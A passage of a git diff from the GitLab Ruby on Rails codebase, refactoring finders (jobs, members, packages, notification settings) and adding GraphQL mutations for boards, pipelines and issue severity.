+ elsif user_params[:device_response] && !Feature.enabled?(:webauthn)
"two-factor-via-u2f-device"
else
"standard"
diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb
index 95ea31fa977..75a861423ed 100644
--- a/app/controllers/users_controller.rb
+++ b/app/controllers/users_controller.rb
@@ -37,12 +37,6 @@ class UsersController < ApplicationController
end
end
- # Get all keys of a user(params[:username]) in a text format
- # Helpful for sysadmins to put in respective servers
- def ssh_keys
- render plain: user.all_ssh_keys.join("\n")
- end
-
def activity
respond_to do |format|
format.html { render 'show' }
diff --git a/app/finders/ci/jobs_finder.rb b/app/finders/ci/jobs_finder.rb
index 2169bf8c53e..8515b77ec0b 100644
--- a/app/finders/ci/jobs_finder.rb
+++ b/app/finders/ci/jobs_finder.rb
@@ -4,31 +4,38 @@ module Ci
class JobsFinder
include Gitlab::Allowable
- def initialize(current_user:, project: nil, params: {})
+ def initialize(current_user:, pipeline: nil, project: nil, params: {}, type: ::Ci::Build)
+ @pipeline = pipeline
@current_user = current_user
@project = project
@params = params
+ @type = type
+ raise ArgumentError 'type must be a subclass of Ci::Processable' unless type < ::Ci::Processable
end
def execute
builds = init_collection.order_id_desc
filter_by_scope(builds)
rescue Gitlab::Access::AccessDeniedError
- Ci::Build.none
+ type.none
end
private
- attr_reader :current_user, :project, :params
+ attr_reader :current_user, :pipeline, :project, :params, :type
def init_collection
- project ? project_builds : all_builds
+ if Feature.enabled?(:ci_jobs_finder_refactor)
+ pipeline_jobs || project_jobs || all_jobs
+ else
+ project ? project_builds : all_jobs
+ end
end
- def all_builds
+ def all_jobs
raise Gitlab::Access::AccessDeniedError unless current_user&.admin?
- Ci::Build.all
+ type.all
end
def project_builds
@@ -37,7 +44,25 @@ module Ci
project.builds.relevant
end
+ def project_jobs
+ return unless project
+ raise Gitlab::Access::AccessDeniedError unless can?(current_user, :read_build, project)
+
+ jobs_by_type(project, type).relevant
+ end
+
+ def pipeline_jobs
+ return unless pipeline
+ raise Gitlab::Access::AccessDeniedError unless can?(current_user, :read_build, pipeline)
+
+ jobs_by_type(pipeline, type).latest
+ end
+
def filter_by_scope(builds)
+ if Feature.enabled?(:ci_jobs_finder_refactor)
+ return filter_by_statuses!(params[:scope], builds) if params[:scope].is_a?(Array)
+ end
+
case params[:scope]
when 'pending'
builds.pending.reverse_order
@@ -49,5 +74,23 @@ module Ci
builds
end
end
+
+ def filter_by_statuses!(statuses, builds)
+ unknown_statuses = params[:scope] - ::CommitStatus::AVAILABLE_STATUSES
+ raise ArgumentError, 'Scope contains invalid value(s)' unless unknown_statuses.empty?
+
+ builds.where(status: params[:scope]) # rubocop: disable CodeReuse/ActiveRecord
+ end
+
+ def jobs_by_type(relation, type)
+ case type.name
+ when ::Ci::Build.name
+ relation.builds
+ when ::Ci::Bridge.name
+ relation.bridges
+ else
+ raise ArgumentError, "finder does not support #{type} type"
+ end
+ end
end
end
diff --git a/app/finders/concerns/finder_methods.rb b/app/finders/concerns/finder_methods.rb
index 8de3276184d..622cbcf4928 100644
--- a/app/finders/concerns/finder_methods.rb
+++ b/app/finders/concerns/finder_methods.rb
@@ -30,7 +30,7 @@ module FinderMethods
def if_authorized(result)
# Return the result if the finder does not perform authorization checks.
# this is currently the case in the `MilestoneFinder`
- return result unless respond_to?(:current_user)
+ return result unless respond_to?(:current_user, true)
if can_read_object?(result)
result
@@ -44,9 +44,14 @@ module FinderMethods
# for Todos
return true unless DeclarativePolicy.has_policy?(object)
- model_name = object&.model_name || model.model_name
+ Ability.allowed?(current_user, :"read_#{to_ability_name(object)}", object)
+ end
+
+ def to_ability_name(object)
+ return object.to_ability_name if object.respond_to?(:to_ability_name)
- Ability.allowed?(current_user, :"read_#{model_name.singular}", object)
+ # Not all objects define `#to_ability_name`, so attempt to derive it:
+ object.model_name.singular
end
# This fetches the model from the `ActiveRecord::Relation` but does not
diff --git a/app/finders/concerns/merged_at_filter.rb b/app/finders/concerns/merged_at_filter.rb
index d2858ba2f88..581bcca3c25 100644
--- a/app/finders/concerns/merged_at_filter.rb
+++ b/app/finders/concerns/merged_at_filter.rb
@@ -3,7 +3,6 @@
module MergedAtFilter
private
- # rubocop: disable CodeReuse/ActiveRecord
def by_merged_at(items)
return items unless merged_after || merged_before
@@ -11,11 +10,8 @@ module MergedAtFilter
mr_metrics_scope = mr_metrics_scope.merged_after(merged_after) if merged_after.present?
mr_metrics_scope = mr_metrics_scope.merged_before(merged_before) if merged_before.present?
- scope = items.joins(:metrics).merge(mr_metrics_scope)
- scope = target_project_id_filter_on_metrics(scope) if Feature.enabled?(:improved_mr_merged_at_queries)
- scope
+ items.join_metrics.merge(mr_metrics_scope)
end
- # rubocop: enable CodeReuse/ActiveRecord
def merged_after
params[:merged_after]
@@ -24,10 +20,4 @@ module MergedAtFilter
def merged_before
params[:merged_before]
end
-
- # rubocop: disable CodeReuse/ActiveRecord
- def target_project_id_filter_on_metrics(scope)
- scope.where(MergeRequest.arel_table[:target_project_id].eq(MergeRequest::Metrics.arel_table[:target_project_id]))
- end
- # rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/app/finders/design_management/designs_finder.rb b/app/finders/design_management/designs_finder.rb
index d9732f6b6f4..857b828dc47 100644
--- a/app/finders/design_management/designs_finder.rb
+++ b/app/finders/design_management/designs_finder.rb
@@ -3,6 +3,7 @@
module DesignManagement
class DesignsFinder
include Gitlab::Allowable
+ include FinderMethods
# Params:
# ids: integer[]
@@ -21,10 +22,7 @@ module DesignManagement
items = by_visible_at_version(items)
items = by_filename(items)
items = by_id(items)
-
- # TODO: We don't need to pass the project anymore after the feature flag is removed
- # https://gitlab.com/gitlab-org/gitlab/-/issues/34382
- items.ordered(issue.project)
+ items.ordered
end
private
diff --git a/app/finders/feature_flags_finder.rb b/app/finders/feature_flags_finder.rb
new file mode 100644
index 00000000000..9cb3bf7fa23
--- /dev/null
+++ b/app/finders/feature_flags_finder.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+class FeatureFlagsFinder
+ attr_reader :project, :params, :current_user
+
+ def initialize(project, current_user, params = {})
+ @project = project
+ @current_user = current_user
+ @params = params
+ end
+
+ def execute(preload: true)
+ unless Ability.allowed?(current_user, :read_feature_flag, project)
+ return Operations::FeatureFlag.none
+ end
+
+ items = feature_flags
+ items = by_scope(items)
+
+ items = items.preload_relations if preload
+ items.ordered
+ end
+
+ private
+
+ def feature_flags
+ if Feature.enabled?(:feature_flags_new_version, project, default_enabled: true)
+ project.operations_feature_flags
+ else
+ project.operations_feature_flags.legacy_flag
+ end
+ end
+
+ def by_scope(items)
+ case params[:scope]
+ when 'enabled'
+ items.enabled
+ when 'disabled'
+ items.disabled
+ else
+ items
+ end
+ end
+end
diff --git a/app/finders/fork_targets_finder.rb b/app/finders/fork_targets_finder.rb
index 7a08273fa0d..719c244a207 100644
--- a/app/finders/fork_targets_finder.rb
+++ b/app/finders/fork_targets_finder.rb
@@ -7,8 +7,10 @@ class ForkTargetsFinder
end
# rubocop: disable CodeReuse/ActiveRecord
- def execute
- ::Namespace.where(id: user.manageable_namespaces).sort_by_type
+ def execute(options = {})
+ return ::Namespace.where(id: user.manageable_namespaces).sort_by_type unless options[:only_groups]
+
+ ::Group.where(id: user.manageable_groups)
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/finders/group_members_finder.rb b/app/finders/group_members_finder.rb
index a4b00588368..ce0d52ad97a 100644
--- a/app/finders/group_members_finder.rb
+++ b/app/finders/group_members_finder.rb
@@ -27,7 +27,7 @@ class GroupMembersFinder < UnionFinder
relations << group_members if include_relations.include?(:direct)
if include_relations.include?(:inherited) && group.parent
- parents_members = GroupMember.non_request
+ parents_members = GroupMember.non_request.non_minimal_access
.where(source_id: group.ancestors.select(:id))
.where.not(user_id: group.users.select(:id))
@@ -35,7 +35,7 @@ class GroupMembersFinder < UnionFinder
end
if include_relations.include?(:descendants)
- descendant_members = GroupMember.non_request
+ descendant_members = GroupMember.non_request.non_minimal_access
.where(source_id: group.descendants.select(:id))
.where.not(user_id: group.users.select(:id))
diff --git a/app/finders/issuable_finder.rb b/app/finders/issuable_finder.rb
index 5cdc22fd873..f13dc8c2451 100644
--- a/app/finders/issuable_finder.rb
+++ b/app/finders/issuable_finder.rb
@@ -37,12 +37,14 @@ class IssuableFinder
include FinderMethods
include CreatedAtFilter
include Gitlab::Utils::StrongMemoize
+ prepend OptimizedIssuableLabelFilter
requires_cross_project_access unless: -> { params.project? }
NEGATABLE_PARAMS_HELPER_KEYS = %i[project_id scope status include_subgroups].freeze
attr_accessor :current_user, :params
+ attr_writer :parent
delegate(*%i[assignee milestones], to: :params)
@@ -103,8 +105,8 @@ class IssuableFinder
items = filter_negated_items(items)
# This has to be last as we use a CTE as an optimization fence
- # for counts by passing the force_cte param and enabling the
- # attempt_group_search_optimizations feature flag
+ # for counts by passing the force_cte param and passing the
+ # attempt_group_search_optimizations param
# https://www.postgresql.org/docs/current/static/queries-with.html
items = by_search(items)
@@ -203,8 +205,26 @@ class IssuableFinder
end
end
+ def parent_param=(obj)
+ @parent = obj
+ params[parent_param] = parent if parent
+ end
+
+ def parent_param
+ case parent
+ when Project
+ :project_id
+ when Group
+ :group_id
+ else
+ raise "Unexpected parent: #{parent.class}"
+ end
+ end
+
private
+ attr_reader :parent
+
def not_params
strong_memoize(:not_params) do
params_class.new(params[:not].dup, current_user, klass).tap do |not_params|
@@ -229,13 +249,11 @@ class IssuableFinder
end
def attempt_group_search_optimizations?
- params[:attempt_group_search_optimizations] &&
- Feature.enabled?(:attempt_group_search_optimizations, default_enabled: true)
+ params[:attempt_group_search_optimizations]
end
def attempt_project_search_optimizations?
- params[:attempt_project_search_optimizations] &&
- Feature.enabled?(:attempt_project_search_optimizations, default_enabled: true)
+ params[:attempt_project_search_optimizations]
end
def count_key(value)
diff --git a/app/finders/issues_finder.rb b/app/finders/issues_finder.rb
index bbb624f543b..32be5bee0db 100644
--- a/app/finders/issues_finder.rb
+++ b/app/finders/issues_finder.rb
@@ -8,7 +8,7 @@
# current_user - which user use
# params:
# scope: 'created_by_me' or 'assigned_to_me' or 'all'
-# state: 'open' or 'closed' or 'all'
+# state: 'opened' or 'closed' or 'all'
# group_id: integer
# project_id: integer
# milestone_title: string
@@ -41,7 +41,7 @@ class IssuesFinder < IssuableFinder
# rubocop: enable CodeReuse/ActiveRecord
def params_class
- IssuesFinder::Params
+ self.class.const_get(:Params, false)
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/finders/labels_finder.rb b/app/finders/labels_finder.rb
index e726772fba4..4358cf249f7 100644
--- a/app/finders/labels_finder.rb
+++ b/app/finders/labels_finder.rb
@@ -172,7 +172,14 @@ class LabelsFinder < UnionFinder
ProjectsFinder.new(params: { non_archived: true }, current_user: current_user).execute # rubocop: disable CodeReuse/Finder
end
- @projects = @projects.in_namespace(group.id) if group?
+ if group?
+ @projects = if params[:include_subgroups]
+ @projects.in_namespace(group.self_and_descendants.select(:id))
+ else
+ @projects.in_namespace(group.id)
+ end
+ end
+
@projects = @projects.where(id: params[:project_ids]) if projects?
@projects = @projects.reorder(nil)
diff --git a/app/finders/members_finder.rb b/app/finders/members_finder.rb
index ce9137f91bb..013ed03a789 100644
--- a/app/finders/members_finder.rb
+++ b/app/finders/members_finder.rb
@@ -63,7 +63,7 @@ class MembersFinder
def direct_group_members(include_descendants)
requested_relations = [:inherited, :direct]
requested_relations << :descendants if include_descendants
- GroupMembersFinder.new(group).execute(include_relations: requested_relations).non_invite # rubocop: disable CodeReuse/Finder
+ GroupMembersFinder.new(group).execute(include_relations: requested_relations).non_invite.non_minimal_access # rubocop: disable CodeReuse/Finder
end
def project_invited_groups_members
@@ -73,7 +73,7 @@ class MembersFinder
.public_or_visible_to_user(current_user)
.select(:id)
- GroupMember.with_source_id(invited_groups_ids_including_ancestors)
+ GroupMember.with_source_id(invited_groups_ids_including_ancestors).non_minimal_access
end
def distinct_union_of_members(union_members)
diff --git a/app/finders/merge_requests_finder.rb b/app/finders/merge_requests_finder.rb
index b70d0b7a06a..37da29b32ff 100644
--- a/app/finders/merge_requests_finder.rb
+++ b/app/finders/merge_requests_finder.rb
@@ -110,7 +110,9 @@ class MergeRequestsFinder < IssuableFinder
.or(table[:title].matches('WIP %'))
.or(table[:title].matches('[WIP]%'))
- return items unless Feature.enabled?(:merge_request_draft_filter)
+ # Let's keep this FF around until https://gitlab.com/gitlab-org/gitlab/-/issues/232999
+ # is implemented
+ return items unless Feature.enabled?(:merge_request_draft_filter, default_enabled: true)
items
.or(table[:title].matches('Draft - %'))
diff --git a/app/finders/packages/group_packages_finder.rb b/app/finders/packages/group_packages_finder.rb
index ffc8c35fbcc..8b948bb056d 100644
--- a/app/finders/packages/group_packages_finder.rb
+++ b/app/finders/packages/group_packages_finder.rb
@@ -22,6 +22,9 @@ module Packages
def packages_for_group_projects
packages = ::Packages::Package
+ .including_build_info
+ .including_project_route
+ .including_tags
.for_projects(group_projects_visible_to_current_user)
.processed
.has_version
diff --git a/app/finders/packages/package_finder.rb b/app/finders/packages/package_finder.rb
index 0e911491da2..f1874b77845 100644
--- a/app/finders/packages/package_finder.rb
+++ b/app/finders/packages/package_finder.rb
@@ -9,6 +9,9 @@ module Packages
def execute
@project
.packages
+ .including_build_info
+ .including_project_route
+ .including_tags
.processed
.find(@package_id)
end
diff --git a/app/finders/packages/packages_finder.rb b/app/finders/packages/packages_finder.rb
index c533cb266a2..519e8bf9c34 100644
--- a/app/finders/packages/packages_finder.rb
+++ b/app/finders/packages/packages_finder.rb
@@ -13,7 +13,12 @@ module Packages
end
def execute
- packages = project.packages.processed.has_version
+ packages = project.packages
+ .including_build_info
+ .including_project_route
+ .including_tags
+ .processed
+ .has_version
packages = filter_by_package_type(packages)
packages = filter_by_package_name(packages)
packages = order_packages(packages)
diff --git a/app/finders/projects_finder.rb b/app/finders/projects_finder.rb
index 7c7cd87a7c1..471029c1ef9 100644
--- a/app/finders/projects_finder.rb
+++ b/app/finders/projects_finder.rb
@@ -24,6 +24,7 @@
# last_activity_after: datetime
# last_activity_before: datetime
# repository_storage: string
+# without_deleted: boolean
#
class ProjectsFinder < UnionFinder
include CustomAttributesFilter
diff --git a/app/finders/user_group_notification_settings_finder.rb b/app/finders/user_group_notification_settings_finder.rb
new file mode 100644
index 00000000000..a6f6769116f
--- /dev/null
+++ b/app/finders/user_group_notification_settings_finder.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+class UserGroupNotificationSettingsFinder
+ def initialize(user, groups)
+ @user = user
+ @groups = groups
+ end
+
+ def execute
+ # rubocop: disable CodeReuse/ActiveRecord
+ groups_with_ancestors = Gitlab::ObjectHierarchy.new(Group.where(id: groups.select(:id))).base_and_ancestors
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ @loaded_groups_with_ancestors = groups_with_ancestors.index_by(&:id)
+ @loaded_notification_settings = user.notification_settings_for_groups(groups_with_ancestors).preload_source_route.index_by(&:source_id)
+
+ groups.map do |group|
+ find_notification_setting_for(group)
+ end
+ end
+
+ private
+
+ attr_reader :user, :groups, :loaded_groups_with_ancestors, :loaded_notification_settings
+
+ def find_notification_setting_for(group)
+ return loaded_notification_settings[group.id] if loaded_notification_settings[group.id]
+ return user.notification_settings.build(source: group) if group.parent_id.nil?
+
+ parent_setting = loaded_notification_settings[group.parent_id]
+
+ return user.notification_settings.build(source: group) unless parent_setting
+
+ if should_copy?(parent_setting)
+ user.notification_settings.build(source: group) do |ns|
+ ns.assign_attributes(parent_setting.slice(*NotificationSetting.allowed_fields))
+ end
+ else
+ find_notification_setting_for(loaded_groups_with_ancestors[group.parent_id])
+ end
+ end
+
+ def should_copy?(parent_setting)
+ return false unless parent_setting
+
+ parent_setting.level != NotificationSetting.levels[:global] || parent_setting.notification_email.present?
+ end
+end
diff --git a/app/finders/users_finder.rb b/app/finders/users_finder.rb
index f87e0c67604..cc94536bf79 100644
--- a/app/finders/users_finder.rb
+++ b/app/finders/users_finder.rb
@@ -17,6 +17,7 @@
# without_projects: boolean
# sort: string
# id: integer
+# non_internal: boolean
#
class UsersFinder
include CreatedAtFilter
@@ -42,6 +43,7 @@ class UsersFinder
users = by_created_at(users)
users = by_without_projects(users)
users = by_custom_attributes(users)
+ users = by_non_internal(users)
order(users)
end
@@ -112,6 +114,12 @@ class UsersFinder
users.without_projects
end
+ def by_non_internal(users)
+ return users unless params[:non_internal]
+
+ users.non_internal
+ end
+
# rubocop: disable CodeReuse/ActiveRecord
def order(users)
return users unless params[:sort]
diff --git a/app/graphql/gitlab_schema.rb b/app/graphql/gitlab_schema.rb
index d8967da9f57..2f5043f9ffa 100644
--- a/app/graphql/gitlab_schema.rb
+++ b/app/graphql/gitlab_schema.rb
@@ -116,11 +116,11 @@ class GitlabSchema < GraphQL::Schema
expected_type = ctx[:expected_type]
gid = GlobalID.parse(global_id)
- raise Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid GitLab id." unless gid
+ raise Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid GitLab ID." unless gid
if expected_type && !gid.model_class.ancestors.include?(expected_type)
vars = { global_id: global_id, expected_type: expected_type }
- msg = _('%{global_id} is not a valid id for %{expected_type}.') % vars
+ msg = _('%{global_id} is not a valid ID for %{expected_type}.') % vars
raise Gitlab::Graphql::Errors::ArgumentError, msg
end
diff --git a/app/graphql/mutations/alert_management/alerts/set_assignees.rb b/app/graphql/mutations/alert_management/alerts/set_assignees.rb
index 1e0c9fdeeaf..517c20a85d0 100644
--- a/app/graphql/mutations/alert_management/alerts/set_assignees.rb
+++ b/app/graphql/mutations/alert_management/alerts/set_assignees.rb
@@ -20,6 +20,8 @@ module Mutations
alert = authorized_find!(project_path: args[:project_path], iid: args[:iid])
result = set_assignees(alert, args[:assignee_usernames], args[:operation_mode])
+ track_usage_event(:incident_management_alert_assigned, current_user.id)
+
prepare_response(result)
end
diff --git a/app/graphql/mutations/alert_management/alerts/todo/create.rb b/app/graphql/mutations/alert_management/alerts/todo/create.rb
index 3dba96e43f1..2a1056e8f64 100644
--- a/app/graphql/mutations/alert_management/alerts/todo/create.rb
+++ b/app/graphql/mutations/alert_management/alerts/todo/create.rb
@@ -11,6 +11,8 @@ module Mutations
alert = authorized_find!(project_path: args[:project_path], iid: args[:iid])
result = ::AlertManagement::Alerts::Todo::CreateService.new(alert, current_user).execute
+ track_usage_event(:incident_management_alert_todo, current_user.id)
+
prepare_response(result)
end
diff --git a/app/graphql/mutations/alert_management/base.rb b/app/graphql/mutations/alert_management/base.rb
index 0de4b9409e4..0ccfcf34180 100644
--- a/app/graphql/mutations/alert_management/base.rb
+++ b/app/graphql/mutations/alert_management/base.rb
@@ -3,6 +3,7 @@
module Mutations
module AlertManagement
class Base < BaseMutation
+ include Gitlab::Utils::UsageData
include ResolvesProject
argument :project_path, GraphQL::ID_TYPE,
diff --git a/app/graphql/mutations/alert_management/create_alert_issue.rb b/app/graphql/mutations/alert_management/create_alert_issue.rb
index adb048a4479..2ddb94700c2 100644
--- a/app/graphql/mutations/alert_management/create_alert_issue.rb
+++ b/app/graphql/mutations/alert_management/create_alert_issue.rb
@@ -9,6 +9,8 @@ module Mutations
alert = authorized_find!(project_path: args[:project_path], iid: args[:iid])
result = create_alert_issue(alert, current_user)
+ track_usage_event(:incident_management_incident_created, current_user.id)
+
prepare_response(alert, result)
end
diff --git a/app/graphql/mutations/alert_management/update_alert_status.rb b/app/graphql/mutations/alert_management/update_alert_status.rb
index ed61555fbd6..1e14bae048a 100644
--- a/app/graphql/mutations/alert_management/update_alert_status.rb
+++ b/app/graphql/mutations/alert_management/update_alert_status.rb
@@ -13,6 +13,8 @@ module Mutations
alert = authorized_find!(project_path: args[:project_path], iid: args[:iid])
result = update_status(alert, args[:status])
+ track_usage_event(:incident_management_alert_status_changed, current_user.id)
+
prepare_response(result)
end
diff --git a/app/graphql/mutations/award_emojis/toggle.rb b/app/graphql/mutations/award_emojis/toggle.rb
index a7714e695d2..679ec7a14ff 100644
--- a/app/graphql/mutations/award_emojis/toggle.rb
+++ b/app/graphql/mutations/award_emojis/toggle.rb
@@ -5,7 +5,7 @@ module Mutations
class Toggle < Base
graphql_name 'AwardEmojiToggle'
- field :toggledOn, GraphQL::BOOLEAN_TYPE, null: false,
+ field :toggled_on, GraphQL::BOOLEAN_TYPE, null: false,
description: 'Indicates the status of the emoji. ' \
'True if the toggle awarded the emoji, and false if the toggle removed the emoji.'
diff --git a/app/graphql/mutations/base_mutation.rb b/app/graphql/mutations/base_mutation.rb
index 68e7853a9b1..577f10545b3 100644
--- a/app/graphql/mutations/base_mutation.rb
+++ b/app/graphql/mutations/base_mutation.rb
@@ -17,6 +17,10 @@ module Mutations
context[:current_user]
end
+ def api_user?
+ context[:is_sessionless_user]
+ end
+
# Returns Array of errors on an ActiveRecord object
def errors_on_object(record)
record.errors.full_messages
diff --git a/app/graphql/mutations/boards/destroy.rb b/app/graphql/mutations/boards/destroy.rb
new file mode 100644
index 00000000000..7c381113d38
--- /dev/null
+++ b/app/graphql/mutations/boards/destroy.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Boards
+ class Destroy < ::Mutations::BaseMutation
+ graphql_name 'DestroyBoard'
+
+ field :board,
+ Types::BoardType,
+ null: true,
+ description: 'The board after mutation'
+ argument :id,
+ ::Types::GlobalIDType[::Board],
+ required: true,
+ description: 'The global ID of the board to destroy'
+
+ authorize :admin_board
+
+ def resolve(id:)
+ board = authorized_find!(id: id)
+
+ response = ::Boards::DestroyService.new(board.resource_parent, current_user).execute(board)
+
+ {
+ board: response.success? ? nil : board,
+ errors: response.errors
+ }
+ end
+
+ private
+
+ def find_object(id:)
+ GitlabSchema.object_from_id(id, expected_type: ::Board)
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/boards/issues/issue_move_list.rb b/app/graphql/mutations/boards/issues/issue_move_list.rb
index d4bf47af4cf..813b6d3cb2a 100644
--- a/app/graphql/mutations/boards/issues/issue_move_list.rb
+++ b/app/graphql/mutations/boards/issues/issue_move_list.rb
@@ -29,11 +29,11 @@ module Mutations
argument :move_before_id, GraphQL::ID_TYPE,
required: false,
- description: 'ID of issue before which the current issue will be positioned at'
+ description: 'ID of issue that should be placed before the current issue'
argument :move_after_id, GraphQL::ID_TYPE,
required: false,
- description: 'ID of issue after which the current issue will be positioned at'
+ description: 'ID of issue that should be placed after the current issue'
def ready?(**args)
if move_arguments(args).blank?
@@ -50,6 +50,8 @@ module Mutations
end
def resolve(board:, **args)
+ Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/-/issues/247861')
+
raise_resource_not_available_error! unless board
authorize_board!(board)
@@ -89,3 +91,5 @@ module Mutations
end
end
end
+
+Mutations::Boards::Issues::IssueMoveList.prepend_if_ee('EE::Mutations::Boards::Issues::IssueMoveList')
diff --git a/app/graphql/mutations/boards/lists/base.rb b/app/graphql/mutations/boards/lists/base.rb
index 34b271ba3b8..d244d6bf8dd 100644
--- a/app/graphql/mutations/boards/lists/base.rb
+++ b/app/graphql/mutations/boards/lists/base.rb
@@ -8,7 +8,7 @@ module Mutations
argument :board_id, ::Types::GlobalIDType[::Board],
required: true,
- description: 'The Global ID of the issue board to mutate'
+ description: 'Global ID of the issue board to mutate'
field :list,
Types::BoardListType,
diff --git a/app/graphql/mutations/boards/lists/create.rb b/app/graphql/mutations/boards/lists/create.rb
index 4f545709ee9..3fe1052315f 100644
--- a/app/graphql/mutations/boards/lists/create.rb
+++ b/app/graphql/mutations/boards/lists/create.rb
@@ -12,7 +12,7 @@ module Mutations
argument :label_id, ::Types::GlobalIDType[::Label],
required: false,
- description: 'ID of an existing label'
+ description: 'Global ID of an existing label'
def ready?(**args)
if args.slice(*mutually_exclusive_args).size != 1
@@ -39,6 +39,7 @@ module Mutations
private
+ # Overridden in EE
def authorize_list_type_resource!(board, params)
return unless params[:label_id]
@@ -57,13 +58,15 @@ module Mutations
create_list_service.execute(board)
end
+ # Overridden in EE
def create_list_params(args)
params = args.slice(*mutually_exclusive_args).with_indifferent_access
- params[:label_id] = GitlabSchema.parse_gid(params[:label_id]).model_id if params[:label_id]
+ params[:label_id] &&= ::GitlabSchema.parse_gid(params[:label_id], expected_type: ::Label).model_id
params
end
+ # Overridden in EE
def mutually_exclusive_args
[:backlog, :label_id]
end
@@ -71,3 +74,5 @@ module Mutations
end
end
end
+
+Mutations::Boards::Lists::Create.prepend_if_ee('::EE::Mutations::Boards::Lists::Create')
diff --git a/app/graphql/mutations/ci/base.rb b/app/graphql/mutations/ci/base.rb
new file mode 100644
index 00000000000..09df4487a50
--- /dev/null
+++ b/app/graphql/mutations/ci/base.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ class Base < BaseMutation
+ argument :id, ::Types::GlobalIDType[::Ci::Pipeline],
+ required: true,
+ description: 'The id of the pipeline to mutate'
+
+ private
+
+ def find_object(id:)
+ GlobalID::Locator.locate(id)
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/ci/pipeline_cancel.rb b/app/graphql/mutations/ci/pipeline_cancel.rb
new file mode 100644
index 00000000000..bc881e2ac02
--- /dev/null
+++ b/app/graphql/mutations/ci/pipeline_cancel.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ class PipelineCancel < Base
+ graphql_name 'PipelineCancel'
+
+ authorize :update_pipeline
+
+ def resolve(id:)
+ pipeline = authorized_find!(id: id)
+
+ if pipeline.cancelable?
+ pipeline.cancel_running
+ { success: true, errors: [] }
+ else
+ { success: false, errors: ['Pipeline is not cancelable'] }
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/ci/pipeline_destroy.rb b/app/graphql/mutations/ci/pipeline_destroy.rb
new file mode 100644
index 00000000000..bb24d416583
--- /dev/null
+++ b/app/graphql/mutations/ci/pipeline_destroy.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ class PipelineDestroy < Base
+ graphql_name 'PipelineDestroy'
+
+ authorize :destroy_pipeline
+
+ def resolve(id:)
+ pipeline = authorized_find!(id: id)
+ project = pipeline.project
+
+ result = ::Ci::DestroyPipelineService.new(project, current_user).execute(pipeline)
+ {
+ success: result.success?,
+ errors: result.errors
+ }
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/ci/pipeline_retry.rb b/app/graphql/mutations/ci/pipeline_retry.rb
new file mode 100644
index 00000000000..0669bfc449c
--- /dev/null
+++ b/app/graphql/mutations/ci/pipeline_retry.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ class PipelineRetry < Base
+ graphql_name 'PipelineRetry'
+
+ field :pipeline,
+ Types::Ci::PipelineType,
+ null: true,
+ description: 'The pipeline after mutation'
+
+ authorize :update_pipeline
+
+ def resolve(id:)
+ pipeline = authorized_find!(id: id)
+ project = pipeline.project
+
+ ::Ci::RetryPipelineService.new(project, current_user).execute(pipeline)
+ {
+ pipeline: pipeline,
+ errors: errors_on_object(pipeline)
+ }
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/concerns/mutations/authorizes_project.rb b/app/graphql/mutations/concerns/mutations/authorizes_project.rb
new file mode 100644
index 00000000000..87341525d6c
--- /dev/null
+++ b/app/graphql/mutations/concerns/mutations/authorizes_project.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Mutations
+ module AuthorizesProject
+ include ResolvesProject
+
+ def authorized_find_project!(full_path:)
+ authorized_find!(full_path: full_path)
+ end
+
+ private
+
+ def find_object(full_path:)
+ resolve_project(full_path: full_path)
+ end
+ end
+end
diff --git a/app/graphql/mutations/design_management/move.rb b/app/graphql/mutations/design_management/move.rb
index 0b654447844..6126af8b68b 100644
--- a/app/graphql/mutations/design_management/move.rb
+++ b/app/graphql/mutations/design_management/move.rb
@@ -20,10 +20,6 @@ module Mutations
null: true,
description: "The current state of the collection"
- def ready(*)
- raise ::Gitlab::Graphql::Errors::ResourceNotAvailable unless ::Feature.enabled?(:reorder_designs, default_enabled: true)
- end
-
def resolve(**args)
service = ::DesignManagement::MoveDesignsService.new(current_user, parameters(args))
diff --git a/app/graphql/mutations/issues/set_severity.rb b/app/graphql/mutations/issues/set_severity.rb
new file mode 100644
index 00000000000..bc386e07178
--- /dev/null
+++ b/app/graphql/mutations/issues/set_severity.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Issues
+ class SetSeverity < Base
+ graphql_name 'IssueSetSeverity'
+
+ argument :severity, Types::IssuableSeverityEnum, required: true,
+ description: 'Set the incident severity level.'
+
+ def resolve(project_path:, iid:, severity:)
+ issue = authorized_find!(project_path: project_path, iid: iid)
+ project = issue.project
+
+ ::Issues::UpdateService.new(project, current_user, severity: severity)
+ .execute(issue)
+
+ {
+ issue: issue,
+ errors: errors_on_object(issue)
+ }
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/merge_requests/set_wip.rb b/app/graphql/mutations/merge_requests/set_wip.rb
index 5d2077c12f2..0b5c20de377 100644
--- a/app/graphql/mutations/merge_requests/set_wip.rb
+++ b/app/graphql/mutations/merge_requests/set_wip.rb
@@ -9,8 +9,8 @@ module Mutations
GraphQL::BOOLEAN_TYPE,
required: true,
description: <<~DESC
- Whether or not to set the merge request as a WIP.
- DESC
+ Whether or not to set the merge request as a WIP.
+ DESC
def resolve(project_path:, iid:, wip: nil)
merge_request = authorized_find!(project_path: project_path, iid: iid)
diff --git a/app/graphql/mutations/metrics/dashboard/annotations/delete.rb b/app/graphql/mutations/metrics/dashboard/annotations/delete.rb
index fb828ba0e2f..6e183e78d9b 100644
